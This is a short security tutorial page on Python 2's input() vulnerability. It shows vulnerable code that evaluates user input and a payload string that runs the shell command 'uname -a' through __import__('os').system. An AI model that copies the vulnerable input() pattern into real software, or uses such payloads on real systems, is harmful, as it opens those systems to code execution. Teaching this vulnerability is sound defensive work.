Python2 Input Vulnerability
Theory
Practical
# Python 2 vulnerable code
user_input = input("Enter your name: ")
print("Hello, " + user_input + "!")RCE Using __builtin__ Module
# Python 2 vulnerable code
e = input("Enter your name: ")
print e# payload
'__import__("os").system("uname -a")'REFERENCES
Last updated